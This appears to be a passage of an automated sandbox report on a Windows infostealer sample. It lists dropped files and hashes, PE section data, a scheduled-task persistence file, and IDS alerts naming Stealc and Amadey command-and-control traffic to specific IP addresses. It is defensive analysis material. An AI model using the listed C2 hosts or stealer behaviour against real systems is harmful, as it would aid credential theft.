Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\ae0fea4b-6af7-44b3-8529-e8d99305e0ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsBGDBAKFCFH.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.9482158003434495
Encrypted:	false
SSDEEP:	49152:c3ZTBsEetMeBolG6uXkrn+SNStcrJ+Szna8CJ2:c3ZepMmoZ5n5Nftpaj2
MD5:	97B4FBF9CB7856775C90B74A77FE10DE
SHA1:	53D545FE06B804DA77F2D827FD15EA170F92365E
SHA-256:	5194406737A6849F50307F9F4FCA7DE952A3AF25E81CF5CE591279E3ADFD29B4
SHA-512:	95EFD00678647211B0CA3A25F3F31776EB1BC033C883AD7BE0BF61945E4BCAAC4520CCAE018E7804FF449F1F6F15B20D7D624A55360E62021DCD46D4F3136B51
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L...........@.................................W...k.......D.....................K.............................D.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...pmwkhdjz.0....1..(..................@...vcbfrjit......K.....................@....taggant.0....K.."..."..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsBGDBAKFCFH.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.489346683880168
Encrypted:	false
SSDEEP:	6:XqjcU8/DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBu5t0:hUAlvJQ1CGAFMkXd8kX+VBu5t0
MD5:	C4010BE81D47DF8DF70F4E396EA5493A
SHA1:	C467923AC88E2A1C6EA78097C057CC7A73BE70A1
SHA-256:	63C52350F58C77F3BB6FCAB8A865B95697064F0510BD4D2AF24C4BB46CE3892E
SHA-512:	9ED7D981FDDAD5AF875F5C0D12D796B2F3A49FB7AA28AA643ECA312EBF0DCCB240BAA63E2263FC82CF0CE9753C6B57663D29AEF5163A38F175E25A24EADF4A52
Malicious:	false
Preview:	.....$y.9L.@....t.$.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................".@3P.........................

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6235)
Category:	downloaded
Size (bytes):	6240
Entropy (8bit):	5.809394065328915
Encrypted:	false
SSDEEP:	96:PsEliI8IN6666anOPAVbjAJ9xMLGqz2QEH09o/8iSZXGcVWmwj5d7bD/pws94ffr:Psy1NN6666rId+xMNRO8fZAmwj3fys9q
MD5:	A65481C381052C728B37C15ECC20AC72
SHA1:	35509264F55E6CFDD83CD4E5130FA6062540DA02
SHA-256:	9E943662FDA07CA0BC8FB906781EEB51CA6AD40CEDB00600BB04AB3EFD4665C8
SHA-512:	0A9D90A20DD7E83C2A5A54769161AA850F2E93FC3C648A7060662899F787B53E58FDD1675203570529388C19F1224E91FF80B5ECEC6973937122E4BDCE36B7F6
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt connections hints november 27","crypto bitcoin","washington wizards chicago bulls","maple syrup cardiometabolic benefits","walt disney world","grocery stores open thanksgiving day","spacex rocket launch today","kansas city chiefs"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wNDg3XxINRm9vdGJhbGwgdGVhbTLjHmRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQkVRQUNFUUVERVFIL3hBQWJBQUFDQXdFQkFRQUFBQUFBQUFBQUFBQUZCZ0lFQndNQkFQL0VBRFlRQUFFRUFRTUNBd1FJQmdNQUFBQUFBQUVDQXdRRkVR

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132980
Entropy (8bit):	5.435434436711541
Encrypted:	false
SSDEEP:	3072:f0kX3ioI5wrfFiC8jMbk/5xnR4pvsMTwR2i6o:fv3dDFqr/5xnR4pvrwR8o
MD5:	4A44E0159C2E16E10BA04E3C481D4F5B
SHA1:	66B6E8E7855E056632AB45B949AE30A68ACC18C7
SHA-256:	0ED29F6AB41A055968DED01A5C1BE346BAE07B86C7C4B5B0D9C87A361F3C5E11
SHA-512:	D3796FA8C358993551CA38FCC7EB9D7BEE04B1AC66641819B5180D04591AB07696BA4F2721F6A7750D3F4BC543F33AE8D2ED50CC3765C0C7072D43240761A73D
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944351998675801
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'795'072 bytes
MD5:	6de40364436ae2851113ddd37a229f5c
SHA1:	51d27cce4c93fec014d9bd501fe8cfda72b64305
SHA256:	b88425a85c72ab6b674612a789b1946b3c3a1cb0dc4baa65e16e9c2f3725221d
SHA512:	f57422f9dae170408e17fb9bf96d167a1d764fbd9465cad92a6985bfacb5700cda8a3bede1762f9a9f63494fba319784e50e3242a770c1e14b2de69c6b8ed324
SSDEEP:	49152:HhiJo/50On/ns+p/uymNhJcByO1wzX44EbY2hpKFFnX3Gr:Hhi6R0OnkQGyaSB92zXLPnH
TLSH:	598533AB07B0C3B5DBED43B4AEB5D0B54A449128D3317CDC989628782F91316DEEE136
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa88000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEAC0F41C4Ah
cmovb ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	638d43a8a84407f2bf9cc2b00cb5a5e1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	a07b79662570fd0d949ce39c2c4a8dd4	False	0.79296875	data	5.983203566850515	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29e000	0x200	37caa2f666e4e9db2eeec6340b579e79	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lddnlomi	0x4ea000	0x19d000	0x19c400	27fdfa092cee3ceff58cca0703c003f3	False	0.9946428233020013	data	7.953559874018647	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
skssdahy	0x687000	0x1000	0x600	80e9d8596bbb114a4e5a4f1b0d648953	False	0.599609375	data	5.121630418951516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x688000	0x3000	0x2200	ce35e67c8ecdff85a143d47c22a1b4c4	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x686164	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-27T16:34:16.870484+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-27T16:34:17.382060+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-27T16:34:17.509505+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49701	TCP
2024-11-27T16:34:17.852973+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-27T16:34:18.186028+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49701	TCP
2024-11-27T16:34:19.561185+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-27T16:34:21.033790+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-27T16:34:44.728003+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:46.814414+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:48.169330+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:49.392208+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:53.285269+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:54.639543+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:35:00.917956+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49907	185.215.113.16	80	TCP
2024-11-27T16:35:49.501809+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50041	185.215.113.43	80	TCP
2024-11-27T16:35:54.101070+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50054	31.41.244.11	80	TCP
2024-11-27T16:36:00.137811+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	50052	TCP
